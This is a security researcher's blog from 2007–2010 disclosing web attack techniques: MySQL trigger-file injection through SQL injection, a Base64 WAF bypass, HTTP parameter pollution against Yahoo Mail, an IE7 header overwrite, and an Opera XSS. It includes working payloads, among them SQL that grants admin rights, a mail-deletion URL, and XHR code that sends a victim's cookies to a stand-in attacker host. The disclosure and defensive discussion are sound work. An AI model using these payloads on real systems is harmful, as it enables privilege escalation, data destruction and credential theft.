Security Thoughts
Wednesday, April 21, 2010, 12:38
MySQL Stacked Queries with SQL Injection...sort of
Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.
In the next few lines we'll describe a new technique that could allow an attacker to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?
Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of the Database data dir.
It needs two files:
- /mysql/datadir/DB/TableName.TRG
- /mysql/datadir/DB/TriggerName.TRN
Suppose now that a `
user` table exists on users DB.
So run mysql client and create the following trigger:
mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;
We can see that two files were created in data directory of users DB:
/var/lib/mysql/users/atk.TRN
TYPE=TRIGGERNAME
trigger_table=user
and
/var/lib/mysql/users/user.TRG
TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'
What happens if we successfully write user.TRG and atk.TRN in /var/lib/mysql/users/users.TRG using INTO OUTFILE ?
AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin
\\nupdate user set isadmin=0 where
isadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'l
atin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedi
sh_ci\'\n';
Then do the same to create atk.TRN
TYPE=TRIGGERNAME
trigger_table=user
MySQL will check if a TRG extension is present and will execute the trigger.
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.
Another interesting thing about this attack is that we can try fuzzing
- tabname.MYD
- tabname.MYI
- tabname.frm
and of course
- tabname.TRG
- triggername.TRN
file format and try to exploit the file format parsers.
I found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.
Wednesday, April 21, 2010, 12:24
Fooling B64_Encode(Payload) on WAFs and filters
When dealing with Web Application Firewall, IDSs or application filters trying to block attacks there are always two big problem:
We know Regexp could be faulty, but let's suppose there's some sort of encoding in the payload which is furtherly decoded on some server side layer and then used in clear text to pass it to another layer.
A good defense should be to let the WAF/Filter decode it and check for attack patterns (using regexp..).
Now the question is how can I implement a decoder to get the input back in clear?
Let's talk about Base64.
Base64 encoding and decoding are implemented in many ways and many languages.
For example PHP
base64_decode() is:
- Very greedy.
- Goes ahead even if something goes wrong
Even some Java Implementation is kind of greedy:
com.sun.org.apache.xerces.internal.impl.dv.util.Base64
public static byte[] decode(String paramString) {
if (paramString == null) {
return null;
}
char[] arrayOfChar = paramString.toCharArray();
int i = removeWhiteSpace(arrayOfChar);
The question is: How to rely on WAF or filters controls if they miss some behaviour?
NoScript checks for Base64 encoded Xss.
ModSecurity implements Base64 decoding using the following rule:
SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"
So the following payload is caught by both:
b64_encode("<script>alert(1)</script>");
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Mod_Security:
NoScript:
But since the real decoder is on another layer, let's try with PHP's decoder using the illegal character '
.':
P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Here's what happens:
ModSecurity (v. 2.5.6-1) and NoScript (v. 1.9.9.61) are
bypassed.
Same happens for other illegal character.
Now NoScript is fixed (v. >= 1.9.9.62) and I expect ModSecurity to be fixed soon.
The question still remains.
How to rely on WAF or filters controls if they miss some behaviour?
WAFs and IDSs are good for defense in depth.
So don't rely too much on those.
Apply SSDLC by implementing correct filters and controls and Test, Test, Test in your own environment!
Thursday, May 21, 2009, 17:36
HTTP Parameter Pollution FAQs
We have received numerous public replies as well as several private emails.
Thanks for your comments, suggestions and feedbacks.
It's now time to summarize and clarify some points.
Q: Is this a new class of exploits or just another case of applications lacking input validation?
A: Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.
In this specific case, query string delimiters are the "dangerous" characters.
Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?
A: Yes, sure. However, considering the granularity available, we don't think it is really so interesting.
Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.
A: Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by 'hard-core' attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds.
The aim of the entire research is to raise awareness around this problem.
In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well.
We strongly believe that sharing such knowledge may increase the security of all web applications.
Q: Most of your examples and findings use GET parameters. What about POST?
A: POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.
Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?
A: No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.
Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?
A: Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.
After all, that's why it is possible to abuse the query string delimiters injection flaw.
Q: Is Yahoo! Mail still vulnerable to HPP?
A: Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.
Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?
A: I've just published here an in-depth review of the issue with the video PoC as well.
Q: What's the right way of managing multiple occurrences? Is there a 'perfect' framework?
A: No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.
Q: HPP is only about WAFs bypasses?
A: Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.
Q: How can I prevent HPP?
A: First of all, answer yourself "Which layer am I protecting?".
Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.
From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.
Q: Am I vulnerable to HPP?
A: It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).
That's all (for now).
Thursday, May 21, 2009, 15:41
Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc
As a follow up of HTTP Parameter Pollution presentation,
I think it's time to give some details of the Yahoo! Classic Mail exploitation.
That's the long version of the video we showed @ OWASP Appsec Poland 2009:
Youtube LD Video or Wisec HD Video
Moreover, in order to better clarify the details of client side HPP explitation, here's an excerpt of my mail to Yahoo! security team:
"...
How client side HPP works?
It's pretty easy, find a name value pair of HTTP parameters and append %26aaaa=aaaaa to it. Example:
http://yahoo.com?par=val%26aaaa=aaa
Have a look at Html source looking for translation of %26 in & or & in anchors or other attributes using the url, such as:
<a href="http://yahoo.com?par=val&aaaa=aaa"> View </a>
The semantic of such link changes from the function described to something else.
In fact, if instead of %26aaaa=aaa the injected parameter were:
%26action=delete
So, it becomes:
<a href="http://yahoo.com?par=val&action=delete"> View </a>
The user considers the functionality "view", even if the real action is "delete".
Obviously it strongly depends on the functionalities and the structure of the Web app...
Yahoo! Classic Mail Issue
I found that client side HPP is possible on some parameter in the first page of Inbox.
Example:
http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0
has startMid which could be used as entry point for client-side HPP.
Infact if we try to add %26aaaa=aaa to startMid:
http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%26aaaa=aaa
Every link to listed emails, withinin inbox, expands %26 into &.
Specifically:
<a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&sMid=0&fid=Inbox&sort=date&order=down&startMid=0&aaaaa=aaa&filterBy=&.rand=1076957714&midIndex=0&mid=1_62389_ALIKDNkAAJELSeg6IAXQeCc3b%2Fk&f=1">An email subject </a>
(notice the &aaaa=aaa)
As a result, when the user will click on an email he will trigger the execution of a different action, as it usually happens for CSRF attacks.
The proof of concept
I just analyzed the application and found that 'cmd' parameter is used in order to execute a specific action.
Later on, I found that:
cmd=fmgt.emptytrash
is the action for emptying the trashcan
and that:
DEL=1&DelFID=Inbox&cmd=fmgt.delete
forces the application to move every msg from a folder to the trashcan and then (if possible) deletes the folder.
Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.
Then, by combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:
http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete
when the user clicks on any message in order to read it and then click to "Back to messages", he will have every messages deleted forever..
Countermeasures to Client Side HPP
When creating URLs the parameters taken from the http request itself should be url encoded and not translated to Html Entities.
Example (php):
<a href="/?startmid="<?=urlencode($_GET['startMid'])?>&id=4">View</a>
and not:
<a href="/?startmid="<?=htmlspecialchars($_GET['startMid'])?>&id=4">View</a>
The Attack flow
Let’s review, once again, the attack flow
Flow #1:
1. Attacker sends an email to the victim with the above link.
2. User/victim clicks on the link and gets the inbox page again.
3. User/victim clicks in order to see the other messages and gets every message deleted.
Flow #2:
1. User/victim visits a malicious page
2. Attacker, after checking if the user is logged in on Yahoo!, redirects the victim on the malicious url.
3. User/victim clicks in order to see the other messages and gets every message deleted.
...
Cheers,
Stefano
..."
Just to be clear, this vulnerability is currently patched and it affected the Yahoo! Mail classic version only.
However, it is likely to force a user to change the GUI from the brand-new mail interface to the old one.
Tuesday, May 19, 2009, 12:06
Http Parameter Pollution a new web attack category (not just a new buzzword :p)
On May 14th @ 2009OWASP Appsec Poland, me & Luca Carettoni presented a new attack category called Http Parameter Pollution (HPP).
HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters.
It affects a building block of all web technologies thus server-side and client-side attacks exist.
Exploiting HPP vulnerabilities, it may be possible to:
- Override existing hardcoded HTTP parameters.
- Modify the application behaviors.
- Access and, potentially exploit, uncontrollable variables.
- Bypass input validation checkpoints and WAFs rules.
Just to whet your appetite, I can anticipate that by researching for real world HPP vulnerabilities, we found issues on some Google Search Appliance front-end scripts, Ask.com, Yahoo! Mail Classic and several other products.
You can download the slides of the talk
here (pdf) or browse it on
Slideshare .
Also, we'll soon release a whitepaper in order to clarify all details about HPP.
As last news, in a few days the video of "Yahoo! Classic Mail" exploitation of Client Side HPP will be available on this blog.
So...stay tuned and bon appetit!
Tuesday, November 04, 2008, 20:25
All-In-One MultiStage Js/Html Payload
I'm a bit lazy sometime.
For instance, when I have to create two files in order to exploit^N^N^N^N^N^Nshow some kind of multi stage vulnerability,
and I'd need to write two files, one for the Html and one for the Js.
So I thought, how could I overcome with all this (incredible) effort?
Let's think about my previous post , when I released the Opera historysearch q=*Xss proof of concept.
Maybe (or maybe not) someone noticed some difference between standard Pocs and the Poc itself.
It is a self contained Html/Js Poc, even if it is a two stage exploit.
Let's see a simpler empty example:
<!--
// Js payload starts here
JsPayload
// Js payload ends here
/* Html payload Starts here
-->
<html>
[Html Here]
</html>
<!--
Html payload Ends here */
-->
As it could be seen it uses comments in order to be interpreted in different contexts, the Js one when loaded by
<script src='self.html'></script>
and the Html context when loaded from the browser.
The first comment is for Html:
<!--
// Js payload starts here
JsPayload
// Js payload ends here
/* Html payload Starts here
-->
that will prevent the Html interpreter to display junk allowing to write Html in a straight forward style.
The second comment is for the JavaScript one:
/* Html payload Starts here
-->
<html>
<body style='background-color: rgb(220,220,220)'>
...
<!--
Html payload Ends here */
which will prevent the Js interpreter to raise an exception.
It's multiple browser compliant, and it doesn't need to be a E4X browser compliant.
Q: So...when I am supposed to use it?
A:It could be used for milworm p0cs or instead of publishing/posting on FD/BGTQ/SEC_ML those boring multiple files.
Q:Why are you so lazy?
A:Hey...Too many questions.
Yes, it's probably useless, but it reminds me some of those multilanguage/multiprocessor/multi_O-S shellcodes (with all due respect) that has been published on phrack.
Finally, that's more an excercise in style than a real groundbreaking new way of doing POCs, but I thought it was worth posting about it.
However any comments will be appreciated.
Tuesday, November 04, 2008, 11:47
Melomania
Some days ago there has been a bit of movement in the security scene since Opera 9.61 was released.
Thanks to Roberto Suggi Liverani that pointed out an issue on Opera historysearch feature and to Kuza55
for asking if the problem, initially considered as "simple" data stealing, could lead to a command execution,
I started thinking about the analogies with chrome Firefox implementation.
After some lazy testing, I figured out that same origin iframe technique could be used in order to exploit the
Xss, leveraging it to Js driven configuration change.
Why?
Because when dealing with opera:* features the browser, in the context of same origin policy, considered
the SOP matching as follows.
Since SOP matching is evaluated by comparing
scheme1 + host1 + port1 == scheme2 + host2 + port2
We got opera:* considered as:
opera + null + null
For every opera:* feature.
So by injecting an iframe from opera:historysearch and pointing to opera:config there was a match in the SOP.
That is the real issue.
Well, not really, that is only one of the hypotesis that have to be satisfied in order to lead to automatic command
execution.
The very first and interesting issue was the
CSRF to opera:* location allowed using the window.open Js method
from a http: scheme protocol, and that has to be credited to Roberto Suggi Liverani for finding that.
The rest of the history is quite straightforward.
After the issue found by Roberto I started to play a bit with the historysearch feature parameters.
And it resulted in a very simple attribute-escaping-injection in the next-previous Xss.
So by pointing the browser to:
opera:historysearch?q=">payload&p=1&s=1
there was the chance to exploit once again the opera:* scheme, but just if some result in the historysearch
page was found.
That's why the payload needs to be in the attacker evil page.
The only problem was that '/' could not be used because of Opera's way of encoding/decoding them.
Double urlencoding came into help. The
solution was using %%32f in spite of %2f.
(Avif Raff's came up with '<image src=x onerror=Payload' solution)
And that's the full
Poc.
So, another new "chrome" alike interface to be abused? Maybe.
What is for sure is that when a browser adds new local functionalities accessible to the user, dressed as
internal_scheme: with html page and internal Js methods, well, security should be taken very seriously by doing:
0. Research in the history of other browsers' flaws;
1. Risk Assessment in the design phase;
2. Threat analysis and Abuse Cases Analysis in the design phase;
3. Secure Code Review of the new features;
4. Black Box Penetration Testing.
And that's where Opera missed its chance.
We all hope they learnt something from their history(search).
Now I can say that I'm a melomaniac again.
Friday, March 21, 2008, 19:59
More on MSA02240108 IE7 Header Overwrite
When I was researching ways exploit MSA02240108 'Microsoft Internet Explorer allows overwriting of several headers leading to Http request Splitting and smuggling', one of the interesting exploits I've found is that by taking advantage of XHR redirect feature in IE7, header stealing is possible also from an attacker site.
Let's see how:
When dealing with a XMLHttpRequest, Internet Explorer 7 follows redirect also on external urls.
Moreover, every added header is sent to the latter request as well.
Infact,
var x=new XMLHttpRequest();
x.open("POST","/page.html?redirect=http://anotherhost.tld");
x.setRequestHeader("Blah","Blah2");
x.onreadystatechange=function (){
if (x.readyState == 4){
alert(x.responseText)
}
}
x.send("blah");
is executed and generates the following HTTP traffic:
GET /page.html?redirect=http://anotherhost.tld HTTP/1.1
Cookie: SomeCookie_to_ahost.tld
Host: ahost.tld
Blah: Blah2
HTTP/1.1 302 Moved Temporarily
Location: http://anotherhost.tld
Content-lenght: 0
GET / HTTP/1.1
Cookie: SomeCookie_to_anotherhost.tld
Host: anotherhost.tld
Blah: Blah2 <-- IE Sends it to anotherhost too!
HTTP/1.1 200 OK
...
<html>
Body that will never be accessible from a XMLHttpRequest originating from another host.
</html>
but of course x.responseText is empty.
Now, let's suppose there's a victim host vhosted on the same server of an attacker site.
var x=new XMLHttpRequest();
x.open("POST","/index.html");
x.setRequestHeader("Host"+String.fromCharCode(223),"http://at.tacker.com");
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){
}
}
x.send("blah");
where index.html simply redirect with:
HTTP/1.1 302 Moved Temporarily
Location: http://vi.ct.im/victimpage.html
The overwritten Host header will still be there on the redirected request because IE7 considers it as an additional header, but every other header will be as if the request is to vi.ct.im host.
GET /victimpage.html HTTP/1.1
Host: at.tacker.com
Cookie: some_cookie_that_should_be_sent_to_vi.ct.im
Header1: some_value1_that_should_be_sent_to_vi.ct.im
Header2: some_value2_that_should_be_sent_to_vi.ct.im
Header3: some_value3_that_should_be_sent_to_vi.ct.im
Which will be sent to the server. The server sees the Host: at.tacker.com header and sends the whole request to it, letting the cookie and other sensitive data in headers, to be directly stealed by at.ttacker.com.
Now my question is:
Why following a redirect to external hosts since the response could not be get from javascript, because of
Same Origin Policy?
...
Just to introduce some other potential security issue?
Tuesday, December 04, 2007, 17:10
The first release of SWFIntruder is out!!
I am proud to announce first release of SWFIntruder.
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.
It helps to find flaws in Flash applications using the methodology originally described in Testing Flash Applications and in Finding Vulnerabilities in Flash Applications.
Some neat feature:
* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User configurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.
SWFIntruder is
hosted @
OWASP and is sponsored by
Minded Security.
Check it out and let me know!
Any comments will be appreciated.
Tuesday, December 04, 2007, 16:42
Finding Vulnerabilities in Flash Applications - Slides @ Owasp
Finally the slides of my presentation @ WASC & OWASP AppSec 2007 are available for everyone is interested on this topic.
It's the second chapter of my personal research about Flash Application security testing.
Some new trick is disclosed and a couple of video screencasts are now available to respectively show how a flawed SWF could XSS the hosting site, and a preview of the tool I am going to release today on behalf of Minded Security for SWF security analysis and testing at runtime.
I hope you'll enjoy reading it!
« 1 2 3 4 » XML
Admin login | This weblog is from www.mylittlehomepage.net
Wisec is brought to you by...
Wisec is written and mantained by
Stefano Di Paola.
Wisec uses open standards, including XHTML, CSS2, and XML-RPC.
